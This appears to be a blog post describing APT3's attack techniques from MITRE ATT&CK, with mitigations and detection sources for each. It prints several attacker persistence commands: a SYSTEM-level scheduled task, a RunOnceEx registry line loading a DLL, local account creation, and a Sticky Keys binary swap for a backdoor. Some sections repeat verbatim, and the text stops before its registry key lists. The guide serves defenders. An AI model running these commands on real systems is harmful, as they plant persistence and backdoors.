Presented by: Ashwin (Microsoft Azure MVP)
APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.
In 2017, MITRE developed an APT3 Adversary Emulation Plan.
Source:
MITRE ATT&CK® Matrix for Enterprise
Now, let's see the details around the series of events associated with this group in chronological order, and how we can work to mitigate or detect these threats.
APT3 leverages valid accounts after gaining credentials for use within the victim domain.
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.
Multi-factor Authentication
Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.
Privileged Account Management
Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.
User Training
Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).
Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
Monitoring the following activities in your Organisation can help you detect this technique.
Logon Session: Logon Session Creation
Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Logon Session: Logon Session Metadata
Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
User Account: User Account Authentication
An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
APT3 has sent spearphishing emails containing malicious links.
Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to Steal Application Access Tokens, like OAuth tokens, in order to gain access to protected applications and information.
Restrict Web-Based Content
Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
Software Configuration
Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.
User Training
Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.
URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.
Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once User Execution occurs.
Monitoring the following activities in your Organisation can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
An APT3 downloader creates persistence by creating the following scheduled task: schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System".
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At (Windows)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
Audit
Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Operating System Configuration
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.
Privileged Account Management
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
User Account Management
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Several events will then be logged on scheduled task activity, including:
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks.
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
APT3 has used PowerShell on victim systems to download and run payloads after exploitation.
Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).
Antivirus/Antimalware
Anti-virus can be used to automatically quarantine suspicious files.
Code Signing
Set PowerShell execution policy to execute only signed scripts.
Disable or Remove Feature or Program
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.
Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
Execution Prevention
Use application control where appropriate.
Privileged Account Management
When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration
If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
An APT3 downloader uses the Windows command "cmd.exe" /C whoami. The group also uses a tool to execute commands on remote computers.
Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.
Execution Prevention
Use application control where appropriate.
Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has exploited the Adobe Flash Player vulnerability CVE-2015-3113 and Internet Explorer vulnerability CVE-2014-1776.
Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Several types exist:
Browser-based Exploitation
Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.
Office Applications
Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.
Common Third-party Applications
Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
Application Isolation and Sandboxing
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. Risks of additional exploits and weaknesses in those systems may still exist.
Exploit Protection
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.
Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
APT3 has lured victims into clicking malicious links delivered through spearphishing.
An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.
Network Intrusion Prevention
If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.
Restrict Web-Based Content
If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files.
User Training
Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.
Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.
Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.
Monitoring the following activities in your Organisation can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
An APT3 downloader creates persistence by creating the following scheduled task: schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System".
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At (Windows)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
Audit
Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Operating System Configuration
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.
Privileged Account Management
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
User Account Management
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Several events will then be logged on scheduled task activity, including:
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks.
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
APT3 leverages valid accounts after gaining credentials for use within the victim domain.
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.
Multi-factor Authentication
Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.
Privileged Account Management
Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.
User Training
Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).
Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
Monitoring the following activities in your Organisation can help you detect this technique.
Logon Session: Logon Session Creation
Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Logon Session: Logon Session Metadata
Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
User Account: User Account Authentication
An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
APT3 has been known to add created accounts to local admin groups to maintain elevated access.
Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
Multi-factor Authentication
Use multi-factor authentication for user and privileged accounts.
Network Segmentation
Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.
Operating System Configuration
Protect domain controllers by ensuring proper security configuration for critical servers to limit access by potentially unnecessary protocols and services, such as SMB file sharing.
Privileged Account Management
Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems
Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670. Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ or that include additional flags such as changing a password without knowledge of the old password.
Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
Monitoring the following activities in your Organisation can help you detect this technique.
Active Directory: Active Directory Object Modification
Changes made to an active directory object (ex: Windows EID 5163 or 5136)
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Group: Group Modification
Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
User Account: User Account Modification
Changes made to an account, such as permissions and/or membership in specific groups (ex: Windows EID 4738 or /var/log access/authentication logs)
APT3 has been known to create or enable accounts, such as support_388945a0.
Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Multi-factor Authentication
Use multi-factor authentication for user and privileged accounts.
Privileged Account Management
Limit the usage of local administrator accounts to be used for day-to-day operations that may expose them to potential adversaries.
Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. [23] Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
User Account: User Account Creation
Initial construction of a new account (ex: Windows EID 4720 or /etc/passwd logs)
APT3 has a tool that creates a new service for persistence.
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg.
Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.
An adversary may also incorporate Masquerading by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
Audit
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.
User Account Management
Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.
Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045). New, benign services may be created during installation of new software.
Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Service: Service Modification
Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 replaces the Sticky Keys binary C:\Windows\System32\sethc.exe for persistence.
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.
Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.
Other accessibility features exist that may also be leveraged in a similar fashion:
Execution Prevention
Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.
Limit Access to Resource Over Network
If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.
Operating System Configuration
To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.
Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 places scripts in the startup folder for persistence.
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"
The following Registry keys can be used to set startup folder items for persistence:
The following Registry keys can control automatic startup of services during boot:
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
